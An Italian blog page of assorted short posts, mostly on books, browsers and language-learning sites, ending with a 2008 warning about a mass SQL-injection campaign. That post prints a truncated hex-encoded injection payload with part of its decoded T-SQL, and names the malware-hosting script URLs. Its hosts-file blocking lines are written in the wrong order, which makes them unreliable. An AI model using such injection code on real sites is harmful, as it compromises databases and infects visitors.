Alessandro Zanello

Octavo
“Introdotto poco dopo l’invenzione della stampa con caratteri mobili, il formato in octavo fu il primo sviluppato specificamente per creare libri a basso costo prodotti in grande scala”

Avete la passione dei libri antichi (e famosi) ma non potete soddisfarla girando per musei ?

Volete stampare qualche pagina del Sidereus Nuncius di Galileo o provare l’ebbrezza di sfogliare il Manuale Tipografico di Giambattista Bodoni ? Allora octavo.com fa per voi:

Qui potete esaminare superficialmente o comprare per qualche decina di dollari un’edizione elettronica in formato PDF di un raro e famoso libro antico, eventualmente tradotta, con segnalibri, ingrandibile fino al 300%, stampabile e su cui potrete anche effettuare ricerche veloci.

Una tentazione…

I caratteri speciali html (entities) sono quei caratteri che non possono essere scritti direttamente con la tastiera, perchè potrebbero influenzare la corretta visualizzazione della pagina.

Come altri linguaggi di programmazione o resa video, html offre una lista di caratteri speciali (parole riservate) con i relativi codici per scriverli a video.

La lista dei caratteri speciali seguenti è una rielaborazione della tabella ISO e mostra nella colonna HTML Entity Code il nome dell’entity e a destra il carattere risultante a video. Si può anche usare la convenzione con il codice ISO. Un’altra soluzione è ricorrere a postable, di Elliot Swan, uno strumento che dato un carattere “anomalo” lo converte nell’entity corrispondente.

Caratteri speciali in HTML:

Per festeggiare i risultati ottenuti finora dal browser “alternativo”, è in preparazione una manifestazione virtuale che mira a fare di Firefox 3 il Guinness record di applicazione maggiormente scaricata in un singolo giorno, il 17 giugno 2008 .

Firefox 3 si scarica qui:

(Nota finale: Grazie al supporto della straordinaria comunità di Mozilla, Firefox 3 è stato scaricato 8.002.530 volte nell’arco di 24 ore. È il maggior numero di download mai raggiunto in un solo giorno, un’impresa eccezionale!)

E ci sono buone probabilità che la cosa funzioni:

Mozilla ha annunciato oggi di voler stabilire il record mondiale per il maggior numero di download di un programma effettuato nell’arco di 24 ore. Il tentativo di stabilire il nuovo record per il Guinness dei Primati é previsto in occasione della giornata di lancio di Firefox 3; giornata che per l’occasione verrà denominata Download Day.

Mozilla invita la propria comunità globale a diffondere la notizia e a partecipare all’impresa per il raggiungimento del record invitando quante più persone possibili a scaricare Firefox 3 e dando vita a feste locali dedicate al Download Day.

Da 2004 a oggi la comunità Firefox è cresciuta sino a contare un numero superiore ai 175 milioni di utenti. Firefox è disponibile in oltre 45 lingue e viene utilizzato in oltre 230 diversi Paesi. L’entusiasmo della vasta comunità Mozilla si riflette ogni giorno nell’impegno comune di diffondere Firefox presso i propri amici, familiari, conoscenti. Il Download Day continua sul solco tracciato da questa tradizione e si propone di incanalare l’energia della comunità Firefox per contribuire a migliorare l’esperienza dell’utilizzo del web per ciascun utente, ovunque esso si trovi.

Gli appassionati di Firefox potranno contribuire al Download Day diffondendone la notizia, richiedendo ai propri amici, familiari e conoscenti di scaricare la nuova versione del browser, dando vita a feste dedicate al download di Firefox 3 o inserendo degli appositi pulsanti “Download Day” sui propri siti web affinché il record per il Guinnes dei Primati possa essere raggiunto. Ecco i principali riferimenti per prendere parte al Download Day e sostenere Mozilla nel tentativo di stabilire il record:

• Prenotarsi e ricevere la propria copia di Firefox 3 in occasione del Download Day: www.spreadfirefox.com/it/worldrecord
• Promuovere un “Download Day Party” presso la propria scuola, il proprio ufficio o dovunque sia disponibile una connessione internet. Per maggiori dettagli: www.mozillaparty.com
• Promuovere Firefox all’interno della propria Università e raccogliere adesioni per il Download Day presso i propri compagni: www.spreadfirefox.com/campusreps
• Aggiungere un banner o un pulsante Mozilla al proprio sito, blog o profilo.
• I pulsanti possono essere scaricati a questo indirizzo: www.spreadfirefox.com/?q=affiliates/homepage .

Per seguire l’evolversi del numero di download e per avere ulteriori dettagli in merito alla data ufficiale di lancio di Firefox 3: www.spreadfirefox.com/it/worldrecord .

Il sito Sysinternals fu creato nel 1996 da Mark Russinovich e Bryce Cogswell per ospitarvi le loro utilità di sistema avanzate e informazioni tecniche; Microsoft ha acquisito Sysinternals nel Luglio 2006.

Le offerte di Sysinternals aiutano a gestire, diagnosticare e risolvere i problemi delle installazioni e delle applicazioni Windows.

Quello che non tutti sanno è che la Microsoft ha reso accessibili le utilità creando un particolare esempio di risorsa condivisa; basta digitare in Esplora risorse o in Internet Explorer http://live.sysinternals.com per vedere la lista dei file zip compressi, da scaricare istantaneamente:

Cercate un modo semplice e gratuito per migliorare la vostra comprensione dell’Inglese americano parlato e migliorare il vostro lessico ? Ecco qui:

Il loro motto è “Helping People Understand Their World”; dal 19 ottobre 1959 la radio Voice Of America diffonde programmi in “Special English”, una versione a scartamento ridotto dell’American English parlato (solo circa 1500 parole di lessico, niente slang e pronuncia a 2/3 della velocità normale) per migliorare il rapporto con la lingua dei milioni di immigrati negli USA. Gli argomenti proposti sono articoli di attualità e annunci di novità scientifiche.

Sul sito trovate file scaricabili in vari formati (RealAudio, MP3, ecc.) che potete ascoltare come volete.

Assolutamente da non sottovalutare i servizi offerti dalla BBC gratuitamente a questo indirizzo:

http://bbclearningenglish.com

ove si trovano anche ottimi filmati mp4 (quicktime) con esempi di pronuncia.

Analogo è il servizio offerto da Deutsche Welle per il tedesco:

il sito offre anche servizi più articolati, come filmati on-demand, corsi veri e propri, ecc.

Sembra siano MILIONI i siti web compromessi da un attacco del tipo “sql injection”, che inserisce codice malevolo nelle pagine web in ASP (Active Server Pages, linguaggio di script della piattaforma Microsoft) che così modificate scaricano un trojan sui pc degli ignari naviganti.

Il codice iniettato è criptato e comincia così:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450
043004C004100520045002000400054002000760061007200630068006
1007200280032003500350029002C00400043002000760061007200630
06800610072002800320035003500290020004400450043004C0041005
200450020005400610062006C0065005F0043007500720073006F00720
0200043005500520053004F005200200046004F0052002000730065006
C00650063007400200061002E006E0061006D0065002C0062002E006E0
061006D0065002000660072006F006D0020007300790073006F0062006
A006500630074007300200061002C0073007900730063006F006C00750
06D006E00730020006200200077006800650072006500200061002E006
90064003D0062002E0069006400200061006E006400200061002E00780
074007900700065003D00270075002700200061006E006400200028006
2002E00780074007900700065003D003900390020006F0072002000620
02E00780074007900700065003D003300350020006…

Una volta decodificato appare così:

DECLARE @T varchar(255)@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name b.name from sysobjects a syscolumns b
where a.id=b.id and a.xtype=u and (b.xtype=99 or b.xtype=35
or b

Cercando con Google le stringhe www.nihaorr1.com/1.js, www.adw95.com/b.js o www.banner82.com/b.js si trovano migliaia di siti, divisi in due categorie: quelli che parlano dell’infezione, soprattutto forum di programmazione ASP, e quelli che hanno il trojan installato.

Il software (una routine in JavaScript) non è caricato direttamente sul sito compromesso, ma fa aprire dal browser del navigante un frame invisibile che punta ad un sito remoto, uno dei tre sopracitati ad esempio: è da quest’ultimo che viene scaricato sul PC della vittima il virus vero e proprio.

Alcune falle di sicurezza che il virus cerca di sfruttare per l’installazione del trojan (ecco perché è una buona idea attivare l’aggiornamento automatico del sistema operativo !):

MS06-014 Vulnerability in the Microsoft Data Access Components (MDAC) Function Could Allow Code Execution

MS07-004 Vulnerability in Vector Markup Language Could Allow Remote Code Execution

MS07-018 Vulnerabilities in Microsoft Content Management Server Could Allow Remote Code Execution

MS07-033 Cumulative Security Update for Internet Explorer

MS07-055 Vulnerability in kodak Image Viewer Could Allow Remote Code Execution

A parte una ripulita dei siti web da parte dei relativi gestori, quel che si può fare personalmente è aprire con Blocco note (notepad.exe) il proprio file hosts (che si trova in c:\windows\system32\drivers\etc\hosts) ed inserirvi un reindirizzamento sul proprio PC (localhost) che renda inoffensivi gli indirizzi dei siti malevoli, ad es. le righe:

www.nihaorr1.com 127.0.0.1
www.adw95.com 127.0.0.1
www.banner82.com 127.0.0.1
nmidahena.com 127.0.0.1
aspder.com 127.0.0.1

I siti in oggetto non saranno così più raggiungibili, naturalmente quelli identificati finora.

Basta infatti che nuovi siti web vengano sfruttati dal trojan e si ricomincia, per cui la migliore soluzione è quella di utilizzare un antivirus valido.

I siti compromessi sono tanti, molti sono anche italiani: ci sono siti istituzionali (Comuni, Enti e Province), siti privati e di eCommerce.

Viene subito in mente però che la stessa tecnica si può usare anche per altri scopi: impedire la comparsa di finestre pubblicitarie indesiderate durante la navigazione, impedire a figli indisciplinati di raggiungere siti che si considerano inadatti, ecc.

Trovate qui una lista di domini da bloccare con la tecnica del localhost.

(Fonte: PandaLabs e www.f-secure.com)